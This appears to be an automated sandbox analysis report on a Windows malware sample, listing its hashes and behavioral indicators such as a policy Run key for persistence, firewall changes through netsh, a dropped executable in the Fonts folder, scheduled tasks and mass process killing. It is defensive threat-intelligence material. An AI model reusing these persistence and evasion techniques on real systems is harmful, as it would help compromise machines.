28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a

Analysis

max time kernel
112s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260630-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 22:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
Size 560KB
Sample260701-2ax5wsft7k
SHA256 28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a
MD5 d7082ee0232da00b4f28f30e20a80e37
SHA1 c7f1c3d8d78b870da5233970536f1729aef309ea
SHA512 2bc9e104e3d6a022beb024182e4a8cb1e76c65ce28864c0ce7da440d951e8be806e710887cf828031f20fc4ce788b677a3ac058f5ae52db72d334eaebacb1f6e
SSDEEP 12288:L9SpyAOb4f+kUN3HFrW1OlfbsqTsvoHX2pTI9:NAOFkE3lrGOlfZqIX2pTI9
TLSH
T161C40226A3E58021F16D0E3099F787F66E37BE45DD218A0B923077DD1871E90F62A727
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ADSL Dial = "C:\\Users\\Admin\\AppData\\Local\\Temp\\28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe"	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe

Modifies Windows Firewall 2 TTPs 9 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4756	netsh.exe
7888	netsh.exe
7568	netsh.exe
7592	netsh.exe
6276	netsh.exe
1064	netsh.exe
840	netsh.exe
6372	netsh.exe
5360	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
928	SQLAGENTSWE.exe
1908	SQLAGENTSWE.exe
6564	SQLAGENTSWE.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 8 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\D:	cacls.exe
File opened (read-only)	\??\E:	cacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

UPX packed file 24 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5728-0-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-2-0x0000000000CF0000-0x0000000000CFB000-memory.dmp	upx
behavioral2/memory/5728-3-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-4-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-8-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-9-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-10-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-11-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-17-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-20-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-24-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-27-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-45-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/files/0x000c00000001c6a4-48.dat	upx
behavioral2/memory/928-51-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/928-49-0x0000000002350000-0x000000000235B000-memory.dmp	upx
behavioral2/memory/1908-54-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/1908-53-0x0000000002E00000-0x0000000002E0B000-memory.dmp	upx
behavioral2/memory/6564-56-0x0000000000BA0000-0x0000000000BAB000-memory.dmp	upx
behavioral2/memory/6564-57-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-64-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-66-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-68-0x0000000000400000-0x0000000000562000-memory.dmp	upx
behavioral2/memory/5728-70-0x0000000000400000-0x0000000000562000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Fonts\SQLAGENTSWE.exe	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe

Launches sc.exe 18 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4396	sc.exe
6708	sc.exe
7928	sc.exe
5528	sc.exe
1800	sc.exe
6820	sc.exe
1908	sc.exe
2360	sc.exe
1412	sc.exe
3332	sc.exe
7988	sc.exe
4232	sc.exe
3884	sc.exe
6656	sc.exe
6096	sc.exe
7608	sc.exe
6156	sc.exe
836	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7788	PING.EXE

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5740	taskkill.exe
3576	taskkill.exe
1148	taskkill.exe
6284	taskkill.exe
468	taskkill.exe
5652	taskkill.exe
1044	taskkill.exe
2148	taskkill.exe
3884	taskkill.exe
2092	taskkill.exe
1196	taskkill.exe
6660	taskkill.exe
2596	taskkill.exe
7308	taskkill.exe
7192	taskkill.exe
6584	taskkill.exe
6376	taskkill.exe
1220	taskkill.exe
1936	taskkill.exe
1780	taskkill.exe
7568	taskkill.exe
3604	taskkill.exe
7056	taskkill.exe
3728	taskkill.exe
7224	taskkill.exe
7296	taskkill.exe
3100	taskkill.exe
6188	taskkill.exe
3384	taskkill.exe
7408	taskkill.exe
7924	taskkill.exe
7808	taskkill.exe
6632	taskkill.exe
2680	taskkill.exe
2960	taskkill.exe
4556	taskkill.exe
7056	taskkill.exe
1404	taskkill.exe
5500	taskkill.exe
5672	taskkill.exe
6312	taskkill.exe
6612	taskkill.exe
5792	taskkill.exe
7456	taskkill.exe
5996	taskkill.exe
1064	taskkill.exe
4644	taskkill.exe
7368	taskkill.exe
2924	taskkill.exe
1408	taskkill.exe
5236	taskkill.exe
8184	taskkill.exe
52	taskkill.exe
6800	taskkill.exe
5124	taskkill.exe
8156	taskkill.exe
4800	taskkill.exe
7716	taskkill.exe
7084	taskkill.exe
6828	taskkill.exe
6808	taskkill.exe
4452	taskkill.exe
2296	taskkill.exe
6496	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1749168396-1890032557-311772428-1000_Classes\Local Settings	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
1732	reg.exe
8036	reg.exe
1536	reg.exe
5976	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
7788	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3736	schtasks.exe
204	schtasks.exe
1860	schtasks.exe
7948	schtasks.exe
2484	schtasks.exe
1200	schtasks.exe
2628	schtasks.exe
4236	schtasks.exe
2868	schtasks.exe
1544	schtasks.exe
6824	schtasks.exe
6616	schtasks.exe
2720	schtasks.exe
7204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe
5728	28cd7fbb099af2e2fce51da398946b9a7fc894546e86645d0c7ee1c786244e0a.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5756	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	4244	taskkill.exe
Token: SeDebugPrivilege	4644	taskkill.exe
Token: SeDebugPrivilege	1408	taskkill.exe
Token: SeDebugPrivilege	5164	taskkill.exe
Token: SeDebugPrivilege	1220	taskkill.exe
Token: SeDebugPrivilege	2368	taskkill.exe
Token: SeDebugPrivilege	1148	taskkill.exe
Token: SeDebugPrivilege	2268	taskkill.exe
Token: SeDebugPrivilege	2680	taskkill.exe
Token: SeDebugPrivilege	4636	taskkill.exe
Token: SeDebugPrivilege	5124	taskkill.exe
Token: SeDebugPrivilege	3728	taskkill.exe
Token: SeDebugPrivilege	5740	taskkill.exe
Token: SeDebugPrivilege	1196	taskkill.exe
Token: SeDebugPrivilege	1936	taskkill.exe
Token: SeDebugPrivilege	2960	taskkill.exe
